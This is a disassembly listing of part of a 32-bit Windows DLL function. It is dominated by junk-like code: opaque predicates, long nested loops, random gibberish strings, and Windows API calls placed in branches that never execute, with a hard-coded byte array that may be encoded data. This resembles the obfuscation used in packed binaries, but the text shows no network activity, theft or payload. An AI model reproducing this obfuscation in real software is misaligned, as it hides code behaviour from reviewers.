mov eax, dword [ebp - 0x3b0]
mov dword [ebp - 0x790], eax
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x5e8], eax
mov eax, dword [ebp - 0x790]
cmp eax, dword [ebp - 0x5e8]
jg 0x100120b2
mov dword [ebp - 0x868], 1
jmp 0x100120b9
and dword [ebp - 0x868], 0
mov eax, dword [ebp - 0x868]
mov dword [ebp - 0x9a0], eax
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xc88], cx
lea eax, [ebp - 0xc88]
push eax
lea ecx, [ebp - 0xf5c]
call fcn.10006bdc
mov dword [ebp - 0xac4], eax
mov eax, dword [ebp - 0xac4]
mov dword [ebp - 0x9a8], eax
mov dword [ebp - 4], 6
push dword [ebp - 0x9a8]
call fcn.1000a40d
pop ecx
mov dword [ebp - 0x60c], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf5c]
call fcn.10006c01
mov dword [ebp - 0x1c], 0xfffffffd
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x5f0], 0x5f56
mov dword [ebp - 0x9b0], str.rqxsymd_leoon_uqcmmaxj_fqzwz_ladom_sxnxvqi_tabkvw_qplkjnjae_xlm_kyscyct_tdswap_eqyzkg_yxamxu
cmp dword [ebp - 0x5f0], 0x5fe3
jle 0x1001222a
and dword [ebp - 0x210], 0
jmp 0x10012169
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0x631
jge 0x1001222a
and dword [ebp - 0x208], 0
jmp 0x1001218f
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x847
jge 0x10012225
and dword [ebp - 0x2ec], 0
jmp 0x100121b5
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x5905
jge 0x10012220
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x2ec]
sar eax, cl
or eax, dword [ebp - 0x210]
cdq
mov dword [ebp - 0xab4], eax
mov dword [ebp - 0xab0], edx
push dword [ebp - 0xab0]
push dword [ebp - 0xab4]
lea ecx, [ebp - 0xf2c]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0xb7c], eax
mov ecx, dword [ebp - 0xb7c]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xf2c]
call fcn.10001abf
jmp 0x100121a8
jmp 0x10012182
jmp 0x1001215c
mov dword [ebp - 0xb84], 5
mov dword [ebp - 4], 7
cmp dword [ebp - 0x5f0], 0x5d95
jge 0x10012253
push dword [ebp - 0x9b0]
call fcn.10041a06
pop ecx
jmp 0x1001226f
or dword [ebp - 4], 0xffffffff
jmp 0x10012279
mov dword [ebp - 0x324], 0
jmp 0x10012292
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 1
jge 0x100122ae
mov eax, dword [ebp - 0x324]
mov dword [ebp + eax*4 - 0x13c], 0x86989626
jmp 0x10012285
mov dword [ebp - 0x1c], 0
jmp 0x100122be
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x1c
jl 0x1001239a
mov dword [ebp - 0x218], 0x8872fa4
mov dword [ebp - 0x9b8], 0
mov eax, dword [ebp - 0x1c]
sub eax, 5
cmp dword [ebp - 0x218], eax
jl 0x100122f6
mov dword [ebp - 0xad0], 1
jmp 0x100122fd
and dword [ebp - 0xad0], 0
mov eax, dword [ebp - 0x218]
mov dword [ebp - 0xd78], eax
mov eax, dword [ebp - 0x218]
add eax, dword [ebp - 0x218]
cmp dword [ebp - 0x1c], eax
jle 0x10012326
mov dword [ebp - 0x798], 1
jmp 0x1001232d
and dword [ebp - 0x798], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x798]
je 0x10012344
mov dword [ebp - 0x5f8], 1
jmp 0x1001234b
and dword [ebp - 0x5f8], 0
cmp dword [ebp - 0x5f8], 0x5b0
jg 0x10012363
mov dword [ebp - 0x90c], 1
jmp 0x1001236a
and dword [ebp - 0x90c], 0
cmp dword [ebp - 0x90c], 0xfbefa5f9
jne 0x10012382
mov dword [ebp - 0x600], 1
jmp 0x10012389
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x600]
mov dword [ebp - 0x9b8], eax
jmp 0x100122b7
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xd80], eax
cmp dword [ebp - 0x1c], 0
jne 0x10012466
xor eax, eax
inc eax
sub eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
jne 0x100123c9
cmp dword [ebp - 0x1c], 0
jne 0x100123c9
and dword [ebp - 0x7a0], 0
jmp 0x100123d3
mov dword [ebp - 0x7a0], 1
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x100123e9
push 5
pop eax
test eax, eax
je 0x100123fb
cmp dword [ebp - 0x1c], 0
je 0x100123fb
mov dword [ebp - 0xbf4], 1
jmp 0x10012402
and dword [ebp - 0xbf4], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xd88], eax
cmp dword [ebp - 0x50], 0xffffffff
jne 0x1001241d
mov dword [ebp - 0x9c0], 1
jmp 0x10012424
and dword [ebp - 0x9c0], 0
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xd90], eax
cmp dword [ebp - 0x50], 0x748a
je 0x10012445
cmp dword [ebp - 0x1c], 0
jne 0x10012445
and dword [ebp - 0x608], 0
jmp 0x1001244f
mov dword [ebp - 0x608], 1
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x608]
cmp eax, dword [ebp - 0x50]
jl 0x10012466
and dword [ebp - 0x870], 0
jmp 0x10012470
mov dword [ebp - 0x870], 1
mov eax, dword [ebp - 0x50]
add eax, dword [ebp - 0x870]
cmp eax, dword [ebp - 0x50]
jg 0x1001248a
mov dword [ebp - 0x610], 1
jmp 0x10012491
and dword [ebp - 0x610], 0
imul eax, dword [ebp - 0x610], 0x4227
cmp eax, dword [ebp - 0x50]
jne 0x100124ac
mov dword [ebp - 0x7a8], 1
jmp 0x100124b3
and dword [ebp - 0x7a8], 0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp - 0x50], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x50]
cmp ecx, dword [ebp + eax - 0x13c]
jle 0x100124da
mov dword [ebp - 0xadc], 1
jmp 0x100124e1
and dword [ebp - 0xadc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13c]
mov dword [ebp - 0xd98], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13c], 0
jne 0x10012526
mov eax, 0x89188b9a
test eax, eax
jne 0x10012526
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x13c], 0
jne 0x10012526
and dword [ebp - 0x9c8], 0
jmp 0x10012530
mov dword [ebp - 0x9c8], 1
mov eax, 0x53f0d3ec
cmp eax, 0x2f3c076a
jne 0x10012548
mov dword [ebp - 0x618], 1
jmp 0x1001254f
and dword [ebp - 0x618], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x13c]
cmp dword [ebp - 0x618], eax
jl 0x10012570
mov dword [ebp - 0x8d8], 1
jmp 0x10012577
and dword [ebp - 0x8d8], 0
mov eax, dword [ebp - 0x8d8]
mov dword [ebp - 0xb84], eax
and dword [ebp - 0x230], 0
jmp 0x10012599
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0xd
jae 0x10012927
mov dword [ebp - 0xc24], 0xf9b3198a
mov dword [ebp - 0xc20], 0xf9b3198a
mov dword [ebp - 0xc1c], 0xf9b3198a
mov dword [ebp - 0xc18], 0xf9b3198a
mov dword [ebp - 0xc4], 0x6f1bf506
mov dword [ebp - 0x620], 0x6944
mov dword [ebp - 0x9d0], str.byq_udg_dri_mzav_yru_joywyek_ejjpnow_qvsvzhprs_vqukid_ckolvdky_zzrbi_lyr
cmp dword [ebp - 0x620], 0x6954
jle 0x100126a7
and dword [ebp - 0x2f4], 0
jmp 0x10012612
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x40b7
jge 0x100126a7
and dword [ebp - 0x220], 0
jmp 0x10012638
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x5622
jge 0x100126a2
and dword [ebp - 0x34c], 0
jmp 0x1001265a
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x5e1e
jge 0x100126a0
mov eax, dword [ebp - 0x2f4]
cdq
idiv dword [ebp - 0x220]
add edx, dword [ebp - 0x34c]
mov eax, edx
cdq
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xabc], edx
push dword [ebp - 0xabc]
push dword [ebp - 0xac0]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x1001264d
jmp 0x1001262b
jmp 0x10012605
mov dword [ebp - 4], 9
cmp dword [ebp - 0x620], 0x6585
jge 0x100126ca
mov edx, dword [ebp - 0x9d0]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x100126e6
or dword [ebp - 4], 0xffffffff
jmp 0x100126f0
mov dword [ebp - 0xc4], 0
jmp 0x10012709
mov eax, dword [ebp - 0xc4]
inc eax
mov dword [ebp - 0xc4], eax
cmp dword [ebp - 0xc4], 3
jg 0x10012912
mov dword [ebp - 0x5c], 0xfffffffd
mov dword [ebp - 0x5c], 0
jmp 0x1001272d
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jg 0x100128d8
mov dword [ebp - 0x228], 0x23d1bca9
mov dword [ebp - 0x228], 0
jmp 0x1001275a
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 3
jg 0x100128d3
mov dword [ebp - 0x2fc], 0
jmp 0x10012780
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 3
jge 0x1001279c
mov eax, dword [ebp - 0x2fc]
mov dword [ebp + eax*4 - 0xe74], 0xc99220c4
jmp 0x10012773
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0xc24]
mov dword [ebp - 0xda0], eax
cmp dword [ebp - 0xc4], 0xfffd
ja 0x100127c7
mov dword [ebp - 0x7b0], 1
jmp 0x100127ce
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x7b0], eax
jge 0x100127e5
mov dword [ebp - 0x628], 1
jmp 0x100127ec
and dword [ebp - 0x628], 0
mov eax, dword [ebp - 0xc4]
cmp eax, dword [ebp - 0x628]
jle 0x10012806
mov dword [ebp - 0x878], 1
jmp 0x1001280d
and dword [ebp - 0x878], 0
cmp dword [ebp - 0x878], 0xbd13d8c5
jne 0x10012825
mov dword [ebp - 0x630], 1
jmp 0x1001282c
and dword [ebp - 0x630], 0
cmp dword [ebp - 0x630], 0x8470ed99
jbe 0x10012844
mov dword [ebp - 0x7b8], 1
jmp 0x1001284b
and dword [ebp - 0x7b8], 0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0xc24]
cmp eax, dword [ebp - 0x7b8]
jl 0x1001286c
mov dword [ebp - 0x638], 1
jmp 0x10012873
and dword [ebp - 0x638], 0
cmp dword [ebp - 0x638], 0x69393dda
jge 0x1001288b
mov dword [ebp - 0x940], 1
jmp 0x10012892
and dword [ebp - 0x940], 0
cmp dword [ebp - 0x940], 0x7eb8
jg 0x100128aa
mov dword [ebp - 0x640], 1
jmp 0x100128b1
and dword [ebp - 0x640], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x640]
mov dword [ebp + eax - 0xe74], ecx
cmp dword [ebp - 0x5c], 0
je 0x100128ce
jmp 0x1001274d
jmp 0x1001274d
jmp 0x10012726
mov dword [ebp - 0x5c], 3
jmp 0x100128e8
mov eax, dword [ebp - 0x5c]
dec eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
jl 0x1001290d
mov byte [ebp - 0x102], 0
movzx eax, byte [ebp - 0x102]
test eax, eax
je 0x1001290b
push 0x1191
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
jmp 0x100128e1
jmp 0x100126fc
xor eax, eax
mov ecx, dword [ebp - 0x230]
mov word [ebp + ecx*2 - 0xc88], ax
jmp 0x1001258c
mov dword [ebp - 0x9c], 0
jmp 0x10012940
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x1001295c
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0xae8], 0x8206
jmp 0x10012933
mov dword [ebp - 0x9c], 0
jmp 0x10012975
mov eax, dword [ebp - 0x9c]
inc eax
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 1
jge 0x10012991
mov eax, dword [ebp - 0x9c]
mov dword [ebp + eax*4 - 0x12c], 0x642c70bb
jmp 0x10012968
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x12c], 0
jmp 0x100129bf
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x12c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x12c], 1
jge 0x100129e9
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x12c]
mov dword [ebp + eax*4 - 0xae8], 1
jmp 0x100129a4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x12c], 0xfffffffa
cmp dword [ebp - 0x60c], 0
je 0x10015018
mov dword [ebp - 0x32c], 0xfffffffc
mov dword [ebp - 0x134], 0x91df82d8
mov dword [ebp - 0x32c], 0
jmp 0x10012a34
mov eax, dword [ebp - 0x32c]
dec eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0xffffffe5
jg 0x10012ce7
mov dword [ebp - 0xc5c], 0xdf60
mov dword [ebp - 0xc58], 0xdf60
mov dword [ebp - 0xc54], 0xdf60
mov dword [ebp - 0xc50], 0xdf60
mov dword [ebp - 0x304], 0xfffffff7
mov dword [ebp - 0x7c0], 0xbc3ec3d4
mov dword [ebp - 0x238], 0
jmp 0x10012a96
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x10012ab2
mov eax, dword [ebp - 0x238]
mov dword [ebp + eax*4 - 0xdf0], 0xc25fcc58
jmp 0x10012a89
mov dword [ebp - 0x304], 0
jmp 0x10012acb
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 3
jg 0x10012cb9
mov dword [ebp - 0x240], 0
jmp 0x10012af1
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 1
jge 0x10012b0d
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0xdf8], 0x49c9fb37
jmp 0x10012ae4
mov eax, dword [ebp - 0x7c0]
dec eax
mov dword [ebp - 0x7c0], eax
mov dword [ebp - 0x134], 0
jmp 0x10012b33
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 3
jg 0x10012cb4
mov dword [ebp - 0x648], 0x1141
mov dword [ebp - 0x9d8], str.agovfrp_thrwjwz_nlwpc_vmgbu_jxpzxyats_ybl_swowzzc
cmp dword [ebp - 0x648], 0x12ae
jle 0x10012c29
and dword [ebp - 0x344], 0
jmp 0x10012b7a
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x35b8
jge 0x10012c0e
and dword [ebp - 0x248], 0
jmp 0x10012ba0
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x34b9
jge 0x10012c09
and dword [ebp - 0x30c], 0
jmp 0x10012bc2
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x67b
jge 0x10012c07
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x248]
sar eax, cl
xor eax, dword [ebp - 0x30c]
cdq
mov dword [ebp - 0xacc], eax
mov dword [ebp - 0xac8], edx
push dword [ebp - 0xac8]
push dword [ebp - 0xacc]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x10012bb5
jmp 0x10012b93
jmp 0x10012b6d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x10012c51
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
mov dword [ebp - 4], 0xb
cmp dword [ebp - 0x648], 0xebd
jge 0x10012c74
mov edx, dword [ebp - 0x9d8]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x10012c90
or dword [ebp - 4], 0xffffffff
jmp 0x10012c9a
mov eax, dword [ebp - 0x134]
cmp dword [ebp + eax*4 - 0xc5c], 0
je 0x10012caf
jmp 0x10012b26
jmp 0x10012b26
jmp 0x10012abe
mov byte [ebp - 0x104], 0
movzx eax, byte [ebp - 0x104]
test eax, eax
je 0x10012ce2
push 0xded
push 0
push 0x1113
push 0x2632
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
jmp 0x10012a27
mov dword [ebp - 0x4c], 0x833fcb50
mov dword [ebp - 0x37c], 0x191b4956
mov dword [ebp - 0xe00], 0x1f1e283d
mov dword [ebp - 0x250], 0
jmp 0x10012d1b
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 2
jge 0x10012d37
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x3ac], 0xfffa
jmp 0x10012d0e
mov dword [ebp - 0x4c], 1
jmp 0x10012d47
mov eax, dword [ebp - 0x4c]
dec eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0
jl 0x10012ed2
mov dword [ebp - 0x3e4], 0xffffffff
mov dword [ebp - 0x334], 0
jmp 0x10012d74
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 3
jge 0x10012d90
mov eax, dword [ebp - 0x334]
mov dword [ebp + eax*4 - 0xe8c], 0xc11e043
jmp 0x10012d67
mov eax, 0xfffb
test eax, eax
je 0x10012db2
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x3ac], 0
je 0x10012db2
mov dword [ebp - 0x880], 1
jmp 0x10012db9
and dword [ebp - 0x880], 0
cmp dword [ebp - 0x880], 0
ja 0x10012dce
mov dword [ebp - 0x658], 1
jmp 0x10012dd5
and dword [ebp - 0x658], 0
imul eax, dword [ebp - 0x4c], 0xb051
test eax, eax
jne 0x10012deb
mov eax, dword [ebp - 0x4c]
cmp dword [ebp + eax*4 - 0x3ac], 0
or eax, 0xffffffff
jb 0x10012dfc
mov dword [ebp - 0x650], 1
jmp 0x10012e03
and dword [ebp - 0x650], 0
mov eax, dword [ebp - 0x650]
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
je 0x10012e2d
cmp dword [ebp - 0x37c], 0
je 0x10012e2d
mov dword [ebp - 0x7c8], 1
jmp 0x10012e34
and dword [ebp - 0x7c8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3ac]
cmp dword [ebp - 0x7c8], eax
jne 0x10012e55
mov dword [ebp - 0xbd4], 1
jmp 0x10012e5c
and dword [ebp - 0xbd4], 0
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x3ac]
mov dword [ebp - 0xe08], eax
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ebp + ecx*4 - 0x3ac]
sub ecx, dword [ebp + eax*4 - 0x3ac]
mov dword [ebp - 0x3e4], ecx
mov eax, dword [ebp - 0x3e4]
cmp dword [ebp - 0x658], eax
jl 0x10012ea6
cmp dword [ebp - 0x3e4], 0
jne 0x10012ea6
and dword [ebp - 0x8e0], 0
jmp 0x10012eb0
mov dword [ebp - 0x8e0], 1
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp + eax*4 - 0x3ac]
sub eax, dword [ebp - 0x8e0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe8c], eax
jmp 0x10012d40
mov byte [ebp - 0xf5], 0
movzx eax, byte [ebp - 0xf5]
test eax, eax
je 0x10012eee
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
mov dword [ebp - 0xe4], 0x439beb06
mov dword [ebp - 0x258], 0
jmp 0x10012f11
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 3
jge 0x10012f2d
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0xbb0], 1
jmp 0x10012f04
mov eax, dword [ebp - 0xe4]
shl eax, 1
je 0x10012f4c
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0xbb0], 0x5ab3e90a
jmp 0x10013079
mov dword [ebp - 0x144], 0xfffffffc
mov dword [ebp - 0xe4], 0
jmp 0x10012f6f
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 3
jge 0x10012f8b
mov eax, dword [ebp - 0xe4]
mov dword [ebp + eax*4 - 0xbb0], 0xb3921ded
jmp 0x10012f62
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xbb0], 0
je 0x10013066
push 0xfffffffffffffffd
pop eax
test eax, eax
je 0x10013066
cmp dword [ebp - 0xe4], 0
jne 0x10012fcb
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xbb0], 0
jne 0x10012fcb
and dword [ebp - 0x660], 0
jmp 0x10012fd5
mov dword [ebp - 0x660], 1
mov eax, dword [ebp - 0x660]
inc eax
cmp eax, dword [ebp - 0x144]
jl 0x10012ff0
mov dword [ebp - 0x7d0], 1
jmp 0x10012ff7
and dword [ebp - 0x7d0], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x144]
add ecx, dword [ebp - 0x7d0]
cmp ecx, dword [ebp + eax - 0xbb0]
jg 0x1001301d
mov dword [ebp - 0x668], 1
jmp 0x10013024
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x144]
cmp eax, dword [ebp - 0x668]
jne 0x1001303e
mov dword [ebp - 0x9e0], 1
jmp 0x10013045
and dword [ebp - 0x9e0], 0
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xe10], eax
mov eax, 0x3013
test eax, eax
je 0x10013066
mov dword [ebp - 0x888], 1
jmp 0x1001306d
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x144], eax
mov byte [ebp - 0x106], 0
movzx eax, byte [ebp - 0x106]
test eax, eax
je 0x100130a8
push 0
push 0x159
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
mov byte [ebp - 0x194], 7
mov byte [ebp - 0x193], 0x9b
mov byte [ebp - 0x192], 0xa
mov byte [ebp - 0x191], 0x33
mov byte [ebp - 0x190], 2
mov byte [ebp - 0x18f], 6
mov byte [ebp - 0x18e], 0xc
mov byte [ebp - 0x18d], 7
mov byte [ebp - 0x18c], 4
mov byte [ebp - 0x18b], 1
mov byte [ebp - 0x18a], 8
mov byte [ebp - 0x189], 0x16
mov byte [ebp - 0x188], 1
mov byte [ebp - 0x187], 1
mov byte [ebp - 0x186], 3
mov byte [ebp - 0x185], 0x35
mov byte [ebp - 0x184], 3
mov byte [ebp - 0x183], 0x45
mov byte [ebp - 0x182], 0xa4
mov byte [ebp - 0x181], 0xc9
mov byte [ebp - 0x180], 0xd
mov byte [ebp - 0x17f], 0x23
mov byte [ebp - 0x17e], 6
mov byte [ebp - 0x17d], 0x10
mov byte [ebp - 0x17c], 5
mov byte [ebp - 0x17b], 0xc
mov byte [ebp - 0x17a], 0
mov byte [ebp - 0x179], 0x28
mov byte [ebp - 0x178], 0xb
mov byte [ebp - 0x177], 0x22
mov byte [ebp - 0x176], 9
mov byte [ebp - 0x175], 1
mov dword [ebp - 0x270], 0xb546158d
mov dword [ebp - 0x670], 0x34ea
mov dword [ebp - 0x9e8], str.otxixmc_cobipkjtc_nhve_ftldpjzz_knknldkr_xhn_vrkdlhwo_wdk
cmp dword [ebp - 0x670], 0x376a
jle 0x100132d1
and dword [ebp - 0x2cc], 0
jmp 0x100131cc
mov eax, dword [ebp - 0x2cc]
inc eax
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0x1fb2
jge 0x100132bd
and dword [ebp - 0x260], 0
jmp 0x100131f2
mov eax, dword [ebp - 0x260]
inc eax
mov dword [ebp - 0x260], eax
cmp dword [ebp - 0x260], 0x38cb
jge 0x100132b8
and dword [ebp - 0x2d0], 0
jmp 0x10013218
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x345e
jge 0x100132b3
and dword [ebp - 0x268], 0
jmp 0x1001323e
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 0x52bc
jge 0x100132ae
mov eax, dword [ebp - 0x2cc]
imul eax, dword [ebp - 0x260]
xor eax, dword [ebp - 0x2d0]
xor eax, dword [ebp - 0x268]
cdq
mov dword [ebp - 0xad8], eax
mov dword [ebp - 0xad4], edx
push dword [ebp - 0xad4]
push dword [ebp - 0xad8]
lea ecx, [ebp - 0xf8c]
call fcn.10001a21
pop ecx
pop ecx
mov dword [ebp - 0xaf4], eax
mov ecx, dword [ebp - 0xaf4]
call fcn.10001ac9
push eax
call fcn.10041a06
pop ecx
lea ecx, [ebp - 0xf8c]
call fcn.10001abf
jmp 0x10013231
jmp 0x1001320b
jmp 0x100131e5
jmp 0x100131bf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetParent]
mov dword [ebp - 0x2d8], 0
jmp 0x100132ea
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 2
jge 0x10013306
mov eax, dword [ebp - 0x2d8]
mov dword [ebp + eax*4 - 0x958], 0xd6f2ee76
jmp 0x100132dd
mov dword [ebp - 4], 0xd
cmp dword [ebp - 0x670], 0x31fe
jge 0x10013325
push dword [ebp - 0x9e8]
call fcn.10041a06
pop ecx
jmp 0x10013341
or dword [ebp - 4], 0xffffffff
jmp 0x1001334b
mov dword [ebp - 0x270], 1
jmp 0x10013364
mov eax, dword [ebp - 0x270]
dec eax
mov dword [ebp - 0x270], eax
cmp dword [ebp - 0x270], 0
jl 0x10013797
mov dword [ebp - 0x2e0], 0xffffffff
mov byte [ebp - 0x108], 0
movzx eax, byte [ebp - 0x108]
test eax, eax
je 0x100133a3
push 0
push 0
push 0xfe9
push 0xba7
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
mov dword [ebp - 0x2e0], 0
jmp 0x100133bc
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 1
jg 0x10013792
mov dword [ebp - 0x7d8], 0x15cc
mov dword [ebp - 0xb8c], str.sdrwrt_vxemutyez_aevaxzrn_pvf_aozlvvwb_odr_ljeizyola
cmp dword [ebp - 0x7d8], 0x193b
jle 0x10013465
and dword [ebp - 0x278], 0
jmp 0x100133ff
mov eax, dword [ebp - 0x278]
inc eax
mov dword [ebp - 0x278], eax
cmp dword [ebp - 0x278], 0x265c
jge 0x10013460
and dword [ebp - 0x2e8], 0
jmp 0x10013421
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0x2055
jge 0x1001345e
mov eax, dword [ebp - 0x278]
sub eax, dword [ebp - 0x2e8]
cdq
mov dword [ebp - 0xae4], eax
mov dword [ebp - 0xae0], edx
push dword [ebp - 0xae0]
push dword [ebp - 0xae4]
mov ecx, 0x10073e38
call fcn.10001ae9
jmp 0x10013414
jmp 0x100133f2
call fcn.1003ba20
mov dword [ebp - 0x94], 1
mov dword [ebp - 4], 0xf
cmp dword [ebp - 0x7d8], 0x144a
jge 0x10013492
mov edx, dword [ebp - 0xb8c]
mov ecx, 0x10073e38
call fcn.100034b8
jmp 0x100134ae
or dword [ebp - 4], 0xffffffff
jmp 0x100134b8
mov dword [ebp - 0x94], 1
jmp 0x100134d1
mov eax, dword [ebp - 0x94]
dec eax
mov dword [ebp - 0x94], eax
